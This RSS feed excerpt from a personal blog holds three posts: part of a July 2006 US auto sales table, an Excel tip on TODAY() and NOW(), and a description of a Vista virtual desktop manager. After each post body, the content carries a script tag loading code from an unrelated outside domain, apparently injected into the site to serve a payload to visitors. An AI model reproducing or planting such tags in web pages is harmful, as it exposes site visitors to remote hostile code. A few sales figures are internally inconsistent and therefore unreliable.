alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-35% at 76,394 (July 2005: 122,673)<br /><strong>Ford</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-35.7% at 199,735 (July 2005: 310,757)<br /><strong>GMC</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-36.5% at 48,085 (July 2005: 78,717)<br /><strong>Honda</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />12.7% at 133,601 (July 2005: 123,308)<br /><strong>HUMMER</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-2.7% at 6,991 (July 2005: 7,476)<br /><strong>Hyundai</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />6.2% at 47,205 (July 2005: 44,431)<br /><strong>Infiniti<img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" /></strong> -18.1% at 10,548 (July 2005: 13,395)<br /><strong>Isuzu</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />34.2% at 1,336 (July 2005: 1,035)<br /><strong>Jaguar</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-15.1% at 1,997 (July 2005: 2,353)<br /><strong>Jeep</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-34% at 35,831 (July 2005: 56,280)<br /><strong>Kia</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />2.3% at 26,429 (July 2005: 26,052)<br /><strong>Land Rover</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-30.6% at 3,524 (July 2005: 5,080)<br /><strong>Lexus</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />5.6% at 26,959 (July 2005: 26,562)<br /><strong>Lincoln</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-21.5% at 9,125 (July 2005: 11,621)<br /><strong>Mazda</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />5% at 25,963 (July 2005: 24,820)<br /><strong>Mercedes</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />3.8% at 21,591 (July 2005: 20,791)<br /><strong>Mercury</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-34.1% at 16,635 (July 2005: 25,238)<br /><strong>MINI</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-3.7% at 3,528 (July 2005: 3,662)<br /><strong>Mitsubishi</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />1.2% at 10,376 (July 2005: 10,376)<br /><strong>Nissan</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-16% at 75,860 (July 2005: 93,905)<br /><strong>Pontiac</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />.1% at 40,993 (July 2005: 42,541)<br /><strong>Saab</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-41.2% at 3,658 (July 2005: 6,469)<br /><strong>Saturn</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-4.3% at 22,516 (July 2005: 24,471)<br /><strong>Subaru</strong> &#8211; <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />5% at 18,923 (July 2005: 17,959)<br /><strong>Suzuki</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />13% at 8,030 (July 2005: 7,125)<br /><strong>Toyota</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />17.71% at 214,867 (July 2005: 189,855)<br /><strong>Volkswagen</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />5% at 22,627 (July 2005: 21,553)<br /><strong>Volvo</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-10.2% at 10,323 (July 2005: 11,499)</p>
<p><strong>Porsche</strong> &#8211; YET TO REPORT</p>
<p><strong><em>COMPANIES</em><br />BMW Group</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-12% at 23,611 (July 2005: 26,840)<br /><strong>Chrysler Group</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-35% at 150,349 (July 2005: 240,146)<br /><strong>Ford Motor Co</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-34.2% at 241,339 (July 2005: 366,548)<br /><strong>General Motors</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-19.5% at 410,332 (July 2005: 530,027)<br /><strong>Honda America</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />10.2% at 151,804 (July 2005: 143,217)<br /><strong>Nissan North America</strong> <img width="10" vspace="4" hspace="4" height="10" border="0" align="absmiddle" alt="d9c6e   down arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/d9c6e___down_arrow.jpg" title="By the Numbers: July 2006" />-16.2% at 86,408 (July 2005: 107,300)<br /><strong>Toyota Motor Co.</strong> <img vspace="4" hspace="4" border="0" align="absmiddle" alt="70e64   up arrow By the Numbers: July 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/70e64___up_arrow.jpg" title="By the Numbers: July 2006" />16.21% at 241,826 (July 2005: 216,417)</p>
<p><em>Editors note: most percentages are reported as the change in daily sales rate (DSR) since there were only 25 selling days in July 2006 versus 26 selling days in July 2005. We found many automakers had averaged out the amount of vehicles sold per day in July of both years and used that figure to calculate the percentage of loss or gain year-over-year. </em>
<p>&nbsp;</p>
<p><a href="http://www.autoblog.com/2006/08/01/by-the-numbers-july-2006/" rel="bookmark" title="Permanent link to this entry">Permalink</a> | <a href="http://www.autoblog.com/forward/649510/" title="Send this entry to a friend via email">Email this</a> | <a href="http://www.autoblog.com/2006/08/01/by-the-numbers-july-2006/#comments" title="View reader comments on this entry">Comments</a></p>
<hr /><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/&amp;title=By+the+Numbers%3A+July+2006" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=By+the+Numbers%3A+July+2006+-+http://tinyurl.com/pgfkpj+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/&amp;t=By+the+Numbers%3A+July+2006" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/&amp;title=By+the+Numbers%3A+July+2006&amp;summary=Filed%20under%3A%20Earnings%2FFinancials%2C%20By%20the%20NumbersThe%20numbers%20for%20July%20have%20rolled%20in%20and%20we%20bet%20most%20manufacturers%20wish%20they%20would%20roll%20right%20back%20out.%20Of%20the%2034%20brands%20that%20have%20reported%20their%20July%20sales%20so%20far%2C%2022%20are%20reporting%20a%20drop%20in%20monthly%20sales%20versus%20the%20same%20period%20last%20year.%20The%20Chrysler%20&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/&amp;title=By+the+Numbers%3A+July+2006" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/&amp;title=By+the+Numbers%3A+July+2006" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/11/20/by-the-numbers-july-2006/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Insert the current date and time in a cell #2</title>
		<link>http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/</link>
		<comments>http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/#comments</comments>
		<pubDate>Mon, 22 Oct 2007 19:52:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Excel]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/</guid>
		<description><![CDATA[Example
The example may be easier to understand if you copy it to a blank worksheet.

How to copy an example
			

Create a blank workbook or worksheet.
Select the example in the Help topic.
Note&#160;&#160;Do not select the row or column headers.

Selecting an example from Help

Press CTRL+C.
In the worksheet, select cell A1, and press CTRL+V.
To switch between viewing the results [...]]]></description>
			<content:encoded><![CDATA[<h2>Example</h2>
<p>The example may be easier to understand if you copy it to a blank worksheet.</p>
<div class="alert">
<p><a class="DropDown" href="javascript:ToggleDiv('divExpCollAsst_4')"><img src="http://office.microsoft.com/global/images/default.aspx?AssetID=ZA790050011033" alt="Hide" id="divExpCollAsst_4_img" border="0" title="Insert the current date and time in a cell #2" />How to copy an example</a></p>
<p>			<span style="display: block;" class="ACECollapsed" border="0" id="divExpCollAsst_4"></p>
<ol>
<li>Create a blank workbook or worksheet.</li>
<li>Select the example in the Help topic.
<p><b>Note</b>&nbsp;&nbsp;Do not select the row or column headers.</p>
<p><img src="http://office.microsoft.com/global/images/default.aspx?AssetID=ZA060481921033" alt="Selecting an example from Help" border="0" title="Insert the current date and time in a cell #2" /></p>
<p class="ac">Selecting an example from Help</p>
</li>
<li>Press CTRL+C.</li>
<li>In the worksheet, select cell A1, and press CTRL+V.</li>
<li>To switch between viewing the results and viewing the formulas that return the results, press CTRL+` (grave accent), or on the <b class="ui">Tools</b> menu, point to <b class="ui">Formula Auditing</b>, and then click <b class="ui">Formula Auditing Mode</b>.</li>
</ol>
<p>			</span></div>
<table>
<tbody>
<tr>
<td>
<table>
<tbody>
<tr>
<td class="noborder">&nbsp;
							</td>
</tr>
<tr>
<th colspan="" rowspan="" height="" width="">1</th>
</tr>
<tr>
<th colspan="" rowspan="" height="" width="">2</th>
</tr>
<tr>
<th colspan="" rowspan="" height="" width="">3</th>
</tr>
</tbody>
</table>
</td>
<td>
<table>
<tbody>
<tr>
<th colspan="" rowspan="" height="" width="">A</th>
<th colspan="" rowspan="" height="" width="">B</th>
</tr>
<tr>
<th colspan="" rowspan="" height="" width="">Formula</th>
<th colspan="" rowspan="" height="" width="">Description (Result)</th>
</tr>
<tr>
<td>=TODAY()</td>
<td>Current date (varies)</td>
</tr>
<tr>
<td>=NOW()</td>
<td>Current date and time (varies)</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<p><b>Note</b>&nbsp;&nbsp;The<br />
TODAY() and NOW() functions change only when the worksheet is<br />
calculated or when a macro that contains the function is run. They are<br />
not updated continuously. The date and time used are taken from the<br />
computer&#8217;s system clock.</p>
<p class="poweredbyperformancing">Powered by <a href="http://scribefire.com/">ScribeFire</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/&amp;title=Insert+the+current+date+and+time+in+a+cell+%232" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=Insert+the+current+date+and+time+in+a+cell+%232+-+http://tinyurl.com/rb4f2t+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/&amp;t=Insert+the+current+date+and+time+in+a+cell+%232" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/&amp;title=Insert+the+current+date+and+time+in+a+cell+%232&amp;summary=ExampleThe%20example%20may%20be%20easier%20to%20understand%20if%20you%20copy%20it%20to%20a%20blank%20worksheet.%0A%09%09How%20to%20copy%20an%20example%0A%09%09%09%0A%09%09%09%09Create%20a%20blank%20workbook%20or%20worksheet.Select%20the%20example%20in%20the%20Help%20topic.%20Note%26nbsp%3B%26nbsp%3BDo%20not%20select%20the%20row%20or%20column%20headers.%0A%0A%09%09%09%09%09%09Selecting%20an%20example%20from%20Help%0A%09%09%09%09%09Press%20CT&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/&amp;title=Insert+the+current+date+and+time+in+a+cell+%232" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/&amp;title=Insert+the+current+date+and+time+in+a+cell+%232" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/10/22/insert-the-current-date-and-time-in-a-cell-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Virtual Desktop manager for Vista</title>
		<link>http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/</link>
		<comments>http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/#comments</comments>
		<pubDate>Wed, 17 Oct 2007 18:28:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Programs]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Vista]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/</guid>
		<description><![CDATA[
Virtual Desktop manager for Vista
More Screenshots

Introduction 
Vista provides developers with the new DWM based aero interface. A new set of thumbnail API&#8217;s can be used to access some of this new technology. This virtual desktop program takes advantage of this new API and uses some tricks of its own to provide a powerful virtual desktop [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Screen1small.jpg" src="http://www.codeplex.com/vdm/Project/Download/FileDownload.aspx?DownloadId=7838" title="Virtual Desktop manager for Vista" /></p>
<p><b><big><big>Virtual Desktop manager for Vista<br /></big></big></b></p>
<p><a href="http://www.codeplex.com/vdm/Wiki/View.aspx?title=Screenshots&amp;referringTitle=Home">More <br />Screenshots</a></p>
<p>
<h2>Introduction </h2>
<p>Vista provides developers with the new DWM based aero <br />interface. A new set of thumbnail API&#8217;s can be used to access some of this new <br />technology. This virtual desktop program takes advantage of this new API and <br />uses some tricks of its own to provide a powerful virtual desktop manager with a <br />full screen thumbnail based preview. You can have as many desktops as you want <br />and can seamlessly switch between them.</p>
<p>But wait! What if you still are <br />using XP? Don&#8217;t worry, Vista/XP Virtual Desktops provides support for XP as <br />well, although window previews are not live since XP doesn&#8217;t have <br />DWM.</p>
<p>Vista Virtual Desktops is managed by <a class="externalLink" href="http://www.z-sys.org/">Z-Systems<span class="externalLinkIcon"></span></a>. <br />The Z-Systems website also has a <a class="externalLink" href="http://www.z-sys.org/vvdm.aspx">Vista Virtual Desktop<span class="externalLinkIcon"></span></a> page.</p>
<p>
<h2>Awards </h2>
<p><img alt="Up to Down Software" src="http://www.codeplex.com/vdm/Project/Download/FileDownload.aspx?DownloadId=18982" title="Virtual Desktop manager for Vista" /> <br />- <a class="externalLink" href="http://virtual-desktop-manager.uptodown.com/">Up <br />to Down Software (Spanish)<span class="externalLinkIcon"></span></a></p>
<p>
<h2>Features </h2>
<p>
<ul>
<li>Full screen desktop/window manager/preview with full drag and drop managing</li>
<li>Desktop switch indicator</li>
<li>An infinite number of desktops</li>
<li>Watch the windows move in real time as you drag them around in the window <br />manager</li>
<li>Multiple monitor support</li>
<li>Window menus</li>
<li>Tray icons for each desktop</li>
<li>Per-desktop backgrounds</li>
<li>Configurable colors, fade speeds, hotkeys, etc.</li>
<li>Uses Vista&#8217;s live thumbnails</li>
<li>XP support</li>
<li>And much more!</li>
<li><a href="http://www.codeplex.com/vdm/Wiki/View.aspx?title=Roadmap&amp;referringTitle=Home">Roadmap/Change <br />Log</a></li>
<li><a href="http://www.codeplex.com/vdm/Wiki/View.aspx?title=The%20Hack&amp;referringTitle=Home">The <br />Hack</a> </li>
</ul>
<h2>Default Shortcut Reference </h2>
<p>
<ul>
<li><b>Windows Key + Z</b> &#8211; Show the fullscreen &#8220;switcher&#8221;</li>
<li><b>Windows Key + W</b> &#8211; Pop up the window menu for the active window</li>
<li><b>Windows Key + Numpad 1&#8230;9</b> &#8211; Switch to the corresponding desktop, if <br />it exists</li>
<li><b>Windows Key + Arrow Keys</b> &#8211; Move to the corresponding desktop</li>
<li><b>Windows Key + Control + Numpad 1&#8230;9</b> &#8211; Send the foreground window to <br />the corresponding desktop </li>
</ul>
<p>
<h2>Current Release &#8211; 0.5 </h2>
<p>The fourth release, 0.5, is marked as a release <br />candidate version. This means that it is almost &#8220;production quality&#8221;. Feel free <br />to download it and test it out for yourself. If you notice any bugs, please post <br />them on the issure tracker section of this site. Any feature requests can be <br />posted either in the issue tracker or in the discussion forum.</p>
<p class="poweredbyperformancing">Powered by <a href="http://scribefire.com/">ScribeFire</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/&amp;title=Virtual+Desktop+manager+for+Vista" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=Virtual+Desktop+manager+for+Vista+-+http://tinyurl.com/r5mcfn+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/&amp;t=Virtual+Desktop+manager+for+Vista" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/&amp;title=Virtual+Desktop+manager+for+Vista&amp;summary=Virtual%20Desktop%20manager%20for%20VistaMore%20ScreenshotsIntroduction%20Vista%20provides%20developers%20with%20the%20new%20DWM%20based%20aero%20interface.%20A%20new%20set%20of%20thumbnail%20API%27s%20can%20be%20used%20to%20access%20some%20of%20this%20new%20technology.%20This%20virtual%20desktop%20program%20takes%20advantage%20of%20this%20new%20API%20and%20uses%20some%20tricks%20of%20its%20own%20&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/&amp;title=Virtual+Desktop+manager+for+Vista" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/&amp;title=Virtual+Desktop+manager+for+Vista" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/10/17/virtual-desktop-manager-for-vista/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
